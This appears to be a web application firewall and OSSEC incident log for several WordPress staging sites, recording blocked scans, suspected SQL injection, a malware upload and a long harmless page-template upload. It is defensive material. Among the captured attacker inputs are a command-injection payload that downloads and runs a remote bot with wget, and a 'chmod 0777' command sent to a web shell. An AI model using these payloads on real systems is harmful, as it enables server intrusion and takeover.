# incident

plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 62.60.130.235
country_id: 130758
domain: betterself.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.19||T:APACHE||REQUEST_URI:/wp-content/plugins/updraftplus/readme.txt||


plugin: modsec
rule: 77350197
name: IM360 WAF: Essential Addons for Elementor < 5.7.2 - Vulnerable version discovery (CVE-2023-32243)
abuser: 65.111.4.83
country_id: 6252001
domain: eventemcee.trangotech.dev
description:
IM360 WAF: Essential Addons for Elementor < 5.7.2 - Vulnerable version discovery (CVE-2023-32243)||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350639
name: IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)
abuser: 193.56.28.125
country_id: 6252001
domain: busyloop.trangotech.dev
description:
IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)||MV:/wp-content/plugins/litespeed-cache/readme.txt||WPU:||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 185.220.238.245
country_id: 1861060
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.19||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/DKV2ubC/DKV2ubCdefault.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 185.220.238.245
country_id: 1861060
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:2853360||Sizes:130641||Combined size:130641||User:bookemfarmtrang||WPU:||Filename:wp-conffg.php||Scanned:/tmp//20260620-235305-ajdgIYJbNTlsMg0d6KNerQAAAAU-file-4mTiMr||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/DKV2ubC/DKV2ubCdefault.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77987064
name: IM360 WAF: GET to wc-ajax cart endpoint
abuser: 93.123.109.165
country_id: 732800
domain: 38.95.35.74
description:
IM360 WAF: GET to wc-ajax cart endpoint||URI:/?wc-ajax=get_refreshed_fragments||QS:wc-ajax=get_refreshed_fragments||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 89.58.31.106
country_id: 2921044
domain: express.trangotech.dev
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"100\", \"google chrome\";v=\"100\"||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 89.58.31.106
country_id: 2921044
domain: express.trangotech.dev
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/wp-content/plugins/advanced-custom-fields-pro/pro/admin/views/html.settings.page.php||WPU:||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 39.97.110.217
country_id: 1814991
domain: express.trangotech.dev
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"101\", \"microsoft edge\";v=\"101\"||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 39.97.110.217
country_id: 1814991
domain: express.trangotech.dev
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/expresstrangotec/public_html/wp-includes/sodium_compat/namespaced/Core/Poly1305/sliding_contact.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77789665
abuser: 204.76.203.206
country_id: 2750405
domain: 38.95.35.74:80
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:dev_name||MV:$(wget -q -O/tmp/b http://YOUR_SERVER/bot; /tmp/b)||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.19||T:APACHE||MV:chmod 0777 .||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/DKV2ubC/DKV2ubCdefault.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.65.139.36
country_id: 2960313
domain: 146.56.180.42:3333
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/146.56.180.42:3333/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.58.1.27
country_id: 6252001
domain: motorworkblog.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.19||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.20.5
description:
Jun 21 09:24:45 staging sshd[3853306]: Accepted publickey for ansible from 192.168.20.5 port 50356 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 80.94.95.211
country_id: 798549
domain: 38.95.35.74:443
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app_dev.php/_profiler/.env||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 20.98.68.197
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.254.76.66
country_id: 6252001
description:
47.254.76.66 - - [21/Jun/2026:16:34:39 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001351&pdata=https%253A%252F%252Fpopappweb.trangotech.dev%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782074077 HTTP/2.0" 302 0 popappweb.trangotech.dev "https://popappweb.trangotech.dev:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.254.76.66


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 182.6.46.42
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 119.73.102.239
country_id: 1168579
domain: warego.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 119.73.102.239
country_id: 1168579
domain: warego.trangotech.dev
description:
IM360 WAF: Track upload attempt||MVN:ARGS:newcontent||MV:<?php\n/*\nTemplate Name: Warehouse Management\n*/\n\nget_header('new');\n$pageurl = get_permalink();\n?>\n<link rel=\"stylesheet\" href=\"<?php echo get_template_directory_uri(); ?>/assets/css/warehouse-management.css?ver=1.2\" type=\"text/css\">\n<main id=\"main-content\">\n\n<!-- ========== HERO ========== -->\n<section class=\"hero\">\n  <div class=\"container\">\n    <div class=\"hero-grid\">\n      <div class=\"hero-left\">\n        <span class=\"eyebrow\">Warehouse Management Software</span>\n        <h1><span class=\"hl\">Warehouse Management System</span> That Automates End-to-End Supply Chain</h1>\n        <p class=\"lede\">Trusted by 200  growing businesses, WareGo is a market leading WMS solution that simplifies warehouse management with smart AI automation. From inventory to shipping management, WareGo streamlines every process, so that businesses can scale their operations effortlessly.</p>\n        <div class=\"hero-chips\">\n          <span class=\"chip\">Real-time inventory</span>\n          <span class=\"chip\">99% accuracy</span>\n          <span class=\"chip\">Go-live in 4\xe2\x80\x938 weeks</span>\n          <span class=\"chip\">From $499/month</span>\n        </div>\n        <div class=\"hero-ctas\">\n          <a href=\"<?php echo $pageurl; ?>#trial\" class=\"btn btn-primary btn-lg\">Start Free \xe2\x80\x94 No Credit Card \xe2\x86\x92</a>\n        </div>\n        <p class=\"hero-microcopy\"><strong>Free demo   1-month free trial.</strong> No setup fees \xc2\xb7 No implementation cost \xc2\xb7 24/7 support</p>\n      </div>\n\n      <div class=\"hero-right\">\n        <div class=\"screenshot-stage\" style=\"padding: 20px 0;\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/dashboard</span>\n            </div>\n            <img src=\"images/warego-dashboard.png\"\n                 alt=\"WareGo warehouse management software dashboard showing real-time KPIs: pending putaway, expiring products, vehicles in facility, orders in process, room-wise occupancy chart, month-to-date stock transactions, and return inbound aging\"\n                 width=\"1920\" height=\"1080\"\n                 loading=\"eager\"\n                 fetchpriority=\"high\"\n                 data-zoom>\n          </div>\n          <div class=\"shot-badge\" style=\"top: 10%; left: 4%;\">\n            <span class=\"b-icon\" style=\"background: rgba(85,88,166,0.12); color: var(--wg-primary);\">\n              <svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><path d=\"M22 12h-4l-3 9L9 3l-3 9H2\"/></svg>\n            </span>\n            <span class=\"b-meta\"><span class=\"b-num\">Real-time</span><span class=\"b-label\">Live updates</span></span>\n          </div>\n          <div class=\"shot-badge b2\" style=\"bottom: 12%; right: 4%;\">\n            <span class=\"b-icon\" style=\"background: rgba(74,185,234,0.15); color: var(--wg-accent);\">\n              <svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><path d=\"M3 12l3-6 4 12 4-9 3 6h4\"/></svg>\n            </span>\n            <span class=\"b-meta\"><span class=\"b-num\">99.9%</span><span class=\"b-label\">Inventory accuracy</span></span>\n          </div>\n          <div class=\"shot-badge b3\" style=\"top: 48%; right: -10px;\">\n            <span class=\"b-icon\" style=\"background: rgba(215,223,35,0.25); color: #6b7100;\">\n              <svg width=\"14\" height=\"14\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><circle cx=\"12\" cy=\"12\" r=\"10\"/><polyline points=\"12 6 12 12 16 14\"/></svg>\n            </span>\n            <span class=\"b-meta\"><span class=\"b-num\">2,847</span><span class=\"b-label\">Orders today</span></span>\n          </div>\n        </div>\n      </div>\n    </div>\n  </div>\n</section>\n\n<!-- ========== TRUST STRIP (review platforms) ========== -->\n<section class=\"trust-strip\" aria-label=\"Customer reviews and ratings\">\n  <div class=\"container\">\n    <!-- Hero rating -->\n    <div class=\"trust-hero\">\n      <div style=\"display: flex; flex-direction: column; align-items: center; gap: 6px;\">\n        <div class=\"trust-stars\" aria-hidden=\"true\">\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85</div>\n        <div style=\"display: flex; align-items: baseline; gap: 6px;\">\n          <span class=\"trust-score\">4.8</span>\n          <span class=\"trust-score-suffix\">/ 5 average</span>\n        </div>\n      </div>\n      <div class=\"trust-hero-divider\" aria-hidden=\"true\"></div>\n      <div class=\"trust-hero-copy\">\n        Independently reviewed by <strong>200  verified warehouse operators</strong> across five leading software-review platforms.\n        <br>\n        <span class=\"verified\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"3\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><polyline points=\"20 6 9 17 4 12\"/></svg>\n          Verified reviews\n        </span>\n      </div>\n    </div>\n\n    <!-- Per-platform tiles -->\n    <div class=\"review-platforms\">\n      <a href=\"#\" class=\"review-tile\" aria-label=\"Trustpilot 4.9 from 73 reviews\">\n        <span class=\"review-tile-mark\" style=\"background: #00B67A;\">\xe2\x98\x85</span>\n        <div class=\"review-tile-body\">\n          <span class=\"review-tile-name\">Trustpilot</span>\n          <div class=\"review-tile-rating\">\n            <span class=\"review-tile-rating-score\">4.9</span>\n            <span class=\"review-tile-rating-stars\">\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85</span>\n            <span>\xc2\xb7 73 reviews</span>\n          </div>\n        </div>\n      </a>\n\n      <a href=\"#\" class=\"review-tile\" aria-label=\"Clutch 4.8 from 41 reviews\">\n        <span class=\"review-tile-mark\" style=\"background: #17313B;\">C</span>\n        <div class=\"review-tile-body\">\n          <span class=\"review-tile-name\">Clutch</span>\n          <div class=\"review-tile-rating\">\n            <span class=\"review-tile-rating-score\">4.8</span>\n            <span class=\"review-tile-rating-stars\">\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85</span>\n            <span>\xc2\xb7 41 reviews</span>\n          </div>\n        </div>\n      </a>\n\n      <a href=\"#\" class=\"review-tile\" aria-label=\"Product Hunt 4.8 from 36 reviews\">\n        <span class=\"review-tile-mark\" style=\"background: #DA552F;\">P</span>\n        <div class=\"review-tile-body\">\n          <span class=\"review-tile-name\">Product Hunt</span>\n          <div class=\"review-tile-rating\">\n            <span class=\"review-tile-rating-score\">4.8</span>\n            <span class=\"review-tile-rating-stars\">\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85</span>\n            <span>\xc2\xb7 36 reviews</span>\n          </div>\n        </div>\n      </a>\n\n      <a href=\"#\" class=\"review-tile\" aria-label=\"SourceForge 4.7 from 28 reviews\">\n        <span class=\"review-tile-mark\" style=\"background: #EE7D11;\">SF</span>\n        <div class=\"review-tile-body\">\n          <span class=\"review-tile-name\">SourceForge</span>\n          <div class=\"review-tile-rating\">\n            <span class=\"review-tile-rating-score\">4.7</span>\n            <span class=\"review-tile-rating-stars\">\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85</span>\n            <span>\xc2\xb7 28 reviews</span>\n          </div>\n        </div>\n      </a>\n\n      <a href=\"#\" class=\"review-tile\" aria-label=\"SiteJabber 4.8 from 24 reviews\">\n        <span class=\"review-tile-mark\" style=\"background: #009DDF;\">SJ</span>\n        <div class=\"review-tile-body\">\n          <span class=\"review-tile-name\">SiteJabber</span>\n          <div class=\"review-tile-rating\">\n            <span class=\"review-tile-rating-score\">4.8</span>\n            <span class=\"review-tile-rating-stars\">\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85\xe2\x98\x85</span>\n            <span>\xc2\xb7 24 reviews</span>\n          </div>\n        </div>\n      </a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== LOGO CLOUD ========== -->\n<section class=\"logo-cloud\">\n  <div class=\"container\">\n    <div class=\"logo-cloud-title\">Powering 200  warehouses across North America</div>\n    <div class=\"logo-cloud-grid\">\n      <div class=\"logo-tile reveal\"><span class=\"logo-tile-dot\" style=\"background: #5558A6\"></span>OAKS</div>\n      <div class=\"logo-tile reveal reveal-delay-1\"><span class=\"logo-tile-dot\" style=\"background: #4AB9EA\"></span>EXIMPO</div>\n      <div class=\"logo-tile reveal reveal-delay-2\"><span class=\"logo-tile-dot\" style=\"background: #D7DF23\"></span>BULU&nbsp;GROUP</div>\n      <div class=\"logo-tile reveal reveal-delay-3\"><span class=\"logo-tile-dot\" style=\"background: #5558A6\"></span>LMS&nbsp;LOGISTICS</div>\n      <div class=\"logo-tile reveal reveal-delay-4\"><span class=\"logo-tile-dot\" style=\"background: #4AB9EA\"></span>FULFILLPRO</div>\n      <div class=\"logo-tile reveal reveal-delay-5\"><span class=\"logo-tile-dot\" style=\"background: #B2DCBD\"></span>NORTHSHIP</div>\n    </div>\n  </div>\n</section>\n\n<!-- ========== QUICK-ANSWER   KEY FACTS (AEO/GEO citable summary) ========== -->\n<section class=\"section\" aria-labelledby=\"quick-answer-heading\">\n  <div class=\"container\">\n    <div class=\"quick-answer\">\n      <div class=\"quick-answer-head\">\n        <span class=\"quick-answer-badge\">Quick Answer</span>\n        <h2 id=\"quick-answer-heading\">What is warehouse management software, and what does WareGo do?</h2>\n        <div class=\"quick-answer-meta\">\n          <strong>By the WareGo Editorial Team</strong>\n          <span class=\"quick-answer-meta-dot\" aria-hidden=\"true\"></span>\n          <span>Updated <time datetime=\"2026-06-12\">June 12, 2026</time></span>\n          <span class=\"quick-answer-meta-dot\" aria-hidden=\"true\"></span>\n          <span>15&nbsp;min read</span>\n        </div>\n      </div>\n      <p class=\"quick-answer-summary\">\n        <strong>Warehouse management software</strong> is a cloud or on-premise platform that runs every warehouse workflow \xe2\x80\x94 receiving, putaway, real-time inventory, picking, packing, shipping, returns, cycle counting and reporting \xe2\x80\x94 across one or more facilities. <strong>WareGo</strong> is a cloud-based warehouse management software for 3PLs, manufacturers, distributors and e-commerce brands. It includes mobile barcode &amp; RFID scanning, AI demand forecasting, multi-warehouse management, returns and reverse logistics, and pre-built integrations with major e-commerce, marketplace, carrier, accounting and ERP platforms. Pricing starts at <strong>$499/month</strong> with a 1-month free trial and no credit card required.\n      </p>\n      <ul class=\"quick-facts\" aria-label=\"Key facts at a glance\">\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Starting price</span><span class=\"quick-fact-value\"><span class=\"accent\">$499</span>/month</span></li>\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Free trial</span><span class=\"quick-fact-value\">1 month \xc2\xb7 no card</span></li>\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Go-live time</span><span class=\"quick-fact-value\">4\xe2\x80\x938 weeks</span></li>\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Deployment</span><span class=\"quick-fact-value\">Cloud \xc2\xb7 Web   Mobile</span></li>\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Inventory accuracy</span><span class=\"quick-fact-value\">95\xe2\x80\x9399%</span></li>\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Support</span><span class=\"quick-fact-value\">24/7 human</span></li>\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Users served</span><span class=\"quick-fact-value\">200  warehouses</span></li>\n        <li class=\"quick-fact\"><span class=\"quick-fact-label\">Average rating</span><span class=\"quick-fact-value\">4.8 / 5</span></li>\n      </ul>\n    </div>\n\n    <details class=\"on-this-page\">\n      <summary><span class=\"on-this-page-icon\" aria-hidden=\"true\">\xe2\x89\xa1</span> On this page<span class=\"visually-hidden\"> \xe2\x80\x94 jump to section</span></summary>\n      <ul class=\"on-this-page-list\">\n        <li><a href=\"#what-is-wms\">What is warehouse management software?</a></li>\n        <li><a href=\"#signs-you-need-wms\">7 signs you need a WMS</a></li>\n        <li><a href=\"#types-of-wms\">The 4 types of WMS</a></li>\n        <li><a href=\"#features\">Core features</a></li>\n        <li><a href=\"#product-tour\">Product tour</a></li>\n        <li><a href=\"#industries\">Industries we serve</a></li>\n        <li><a href=\"#why\">Why WareGo</a></li>\n        <li><a href=\"#compare\">WareGo vs NetSuite vs Fishbowl vs SAP</a></li>\n        <li><a href=\"#roi-calc\">ROI calculator</a></li>\n        <li><a href=\"#cost-est\">Cost estimator</a></li>\n        <li><a href=\"#integrations\">Integrations</a></li>\n        <li><a href=\"#implementation\">Implementation timeline</a></li>\n        <li><a href=\"#case-studies\">Customer case studies</a></li>\n        <li><a href=\"#pricing\">Pricing</a></li>\n        <li><a href=\"#self-assessment\">Readiness self-assessment</a></li>\n        <li><a href=\"#security\">Security &amp; compliance</a></li>\n        <li><a href=\"#buyers-checklist\">12-point buyer's checklist</a></li>\n        <li><a href=\"#faq\">Frequently asked questions</a></li>\n        <li><a href=\"#glossary\">Warehouse glossary</a></li>\n      </ul>\n    </details>\n  </div>\n</section>\n\n<!-- ========== WHAT IS WAREHOUSE MANAGEMENT SOFTWARE ========== -->\n<section class=\"section\" id=\"what-is-wms\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Warehouse Management Software Explained</span>\n      <h2>What Is Warehouse Management Software?</h2>\n      <p>A citation-ready definition, the difference between spreadsheets and a real WMS, and the entity vocabulary that makes evaluating warehouse management software systems easier.</p>\n    </div>\n\n    <div class=\"definition-card\">\n      <strong>Warehouse management software (WMS)</strong> is a cloud-based or on-premise system that orchestrates every warehouse operation \xe2\x80\x94 <strong>receiving, putaway, real-time inventory tracking, picking, packing, shipping, returns, cycle counting, and reporting</strong> \xe2\x80\x94 across one or more facilities. Modern warehouse management system software replaces spreadsheets and paper pick tickets with mobile barcode scanning, pre-built integrations to e-commerce, ERP and accounting platforms, and AI-driven demand forecasting that pushes inventory accuracy to 95\xe2\x80\x9399%.\n    </div>\n\n    <h3 class=\"text-center\" style=\"margin-top: 56px; font-size: 1.15rem;\">Spreadsheets vs Standard Inventory Tool vs Warehouse Management Software</h3>\n\n    <div class=\"compare-table-wrap\">\n      <table class=\"compare-table\">\n        <thead>\n          <tr>\n            <th>Capability</th>\n            <th>Spreadsheets</th>\n            <th>Basic Inventory Tool</th>\n            <th>Warehouse Management Software</th>\n          </tr>\n        </thead>\n        <tbody>\n          <tr><td>Real-time inventory across locations</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">Partial</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>Mobile barcode &amp; RFID scanning</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>Multi-warehouse management</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">Limited</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>Bin / location-level tracking</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>Optimized picking workflows (wave / batch / zone)</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>Pre-built ERP / e-commerce / carrier integrations</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">Limited</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>AI demand forecasting</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>FEFO / FIFO / lot &amp; serial traceability</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">Basic</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>Returns &amp; reverse logistics workflow</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n          <tr><td>Compliance audit trails (SOC 2 / FDA / DOT)</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"cross\">\xe2\x9c\x95</td><td class=\"check\">\xe2\x9c\x93</td></tr>\n        </tbody>\n      </table>\n    </div>\n\n    <p class=\"text-center\" style=\"margin-top: 40px; font-size: 0.92rem; color: var(--wg-text-light);\">\n      The global warehouse management system market is projected to grow from <strong>$4.57B in 2025 to $10.04B by 2030</strong> \xe2\x80\x94 a 17.1% CAGR \xe2\x80\x94 according to MarketsandMarkets, driven primarily by cloud-based warehouse management software adoption.\n    </p>\n\n    <div style=\"text-align: center; margin-top: 32px;\">\n      <a href=\"<?php echo $pageurl; ?>#demo\" class=\"btn btn-primary btn-lg\">See WareGo's Warehouse Management Software in Action \xe2\x86\x92</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== PROBLEM / SOLUTION SPLIT ========== -->\n<section class=\"section\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">The Warehouse Operator's Reality</span>\n      <h2>Why Most Warehouses Are Quietly Bleeding Profit</h2>\n      <p>Every warehouse we audit before onboarding has the same set of operational leaks. Most operators never see the full cost because the symptoms are scattered across departments. Here's what's really happening \xe2\x80\x94 and what running on purpose-built warehouse management software changes.</p>\n    </div>\n\n    <div class=\"problem-solution\">\n      <div class=\"ps-col problem reveal\">\n        <span class=\"ps-tag problem\">Without a WMS</span>\n        <h3>The hidden cost of running on spreadsheets &amp; desktop tools</h3>\n        <ul class=\"ps-list\">\n          <li><span class=\"ps-ico\">\xe2\x9c\x95</span><div><strong>Stockouts cost orders</strong> \xe2\x80\x94 your system says \"in stock\" when it isn't, and customers cancel and never return.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x95</span><div><strong>Pickers paid to hunt</strong> \xe2\x80\x94 staff spend 15\xe2\x80\x9325% of shift time finding inventory because location data is stale or missing.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x95</span><div><strong>Double data entry between systems</strong> \xe2\x80\x94 order data flows manually between e-commerce, accounting, and shipping platforms.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x95</span><div><strong>Overstock killing cash flow</strong> \xe2\x80\x94 83% of distributors report overstock issues; without forecasting, you guess and over-order.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x95</span><div><strong>Counts never match the system</strong> \xe2\x80\x94 cycle counts and physical inventory don't reconcile, and nobody can trace why.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x95</span><div><strong>Zero real-time visibility</strong> \xe2\x80\x94 managers can't see what's happening in the warehouse until a problem shows up.</div></li>\n        </ul>\n        <div class=\"ps-cost\"><strong>Industry benchmark:</strong> warehouses without modern WMS operate at only 68% capacity utilization. <em>\xe2\x80\x94 Logistics Management</em></div>\n      </div>\n\n      <div class=\"ps-col solution reveal reveal-delay-2\">\n        <span class=\"ps-tag solution\">With WareGo Warehouse Management Software</span>\n        <h3>What changes when you run on cloud-based warehouse management software</h3>\n        <ul class=\"ps-list\">\n          <li><span class=\"ps-ico\">\xe2\x9c\x93</span><div><strong>Real-time inventory accuracy of 95\xe2\x80\x9399%</strong> \xe2\x80\x94 every scan updates the master record across all warehouses instantly.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x93</span><div><strong>Pick rates up 25\xe2\x80\x9340% in year one</strong> \xe2\x80\x94 scanner-guided picking routes, wave / batch / zone strategies, and bin optimization.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x93</span><div><strong>Pre-built integrations eliminate double entry</strong> \xe2\x80\x94 Shopify, Amazon, QuickBooks, NetSuite, FedEx, EDI, and more flow automatically.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x93</span><div><strong>AI demand forecasting cuts forecast error 20\xe2\x80\x9350%</strong> \xe2\x80\x94 reorder triggers and slow-mover flags surface per SKU. <em>\xe2\x80\x94 McKinsey</em></div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x93</span><div><strong>Cycle counts reconcile to within 1%</strong> \xe2\x80\x94 perpetual inventory with location-level tracking removes the variance hunt.</div></li>\n          <li><span class=\"ps-ico\">\xe2\x9c\x93</span><div><strong>Live KPI dashboards</strong> \xe2\x80\x94 on-time ship %, dock-to-stock, accuracy, and labor cost visible from desktop or mobile.</div></li>\n        </ul>\n        <div class=\"ps-cost\"><strong>Typical outcome:</strong> Operating-cost savings of 20% and ROI in 6\xe2\x80\x9312 months. <em>\xe2\x80\x94 McKinsey, industry benchmarks</em></div>\n      </div>\n    </div>\n\n    <div style=\"text-align: center; margin-top: 48px;\">\n      <a href=\"<?php echo $pageurl; ?>#roi-calc\" class=\"btn btn-primary btn-lg\">Calculate Your Hidden Cost \xe2\x86\x92</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== SIGNS YOU NEED WMS ========== -->\n<section class=\"section section--alt\" id=\"signs-you-need-wms\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Are you outgrowing your tools?</span>\n      <h2>7 Signs You Need Warehouse Management Software</h2>\n      <p>Most businesses reach the WMS tipping point at <strong>500  SKUs, 2  warehouse staff, or 25  daily orders</strong>. If three of these sound familiar, your operation is leaking revenue, frustrating customers, and slowing growth.</p>\n    </div>\n\n    <div class=\"signs-grid\">\n      <div class=\"sign-card reveal\">\n        <h3>You ship more than 25 orders a day</h3>\n        <p>Manual order processing becomes the bottleneck at this volume \xe2\x80\x94 picking errors and missed deadlines start showing up.</p>\n      </div>\n      <div class=\"sign-card reveal\">\n        <h3>You stock 500  SKUs and counting</h3>\n        <p>SKU sprawl makes spreadsheets unmanageable. You need bin-level location tracking and barcode scanning to keep accuracy.</p>\n      </div>\n      <div class=\"sign-card reveal\">\n        <h3>You operate 2  warehouses or 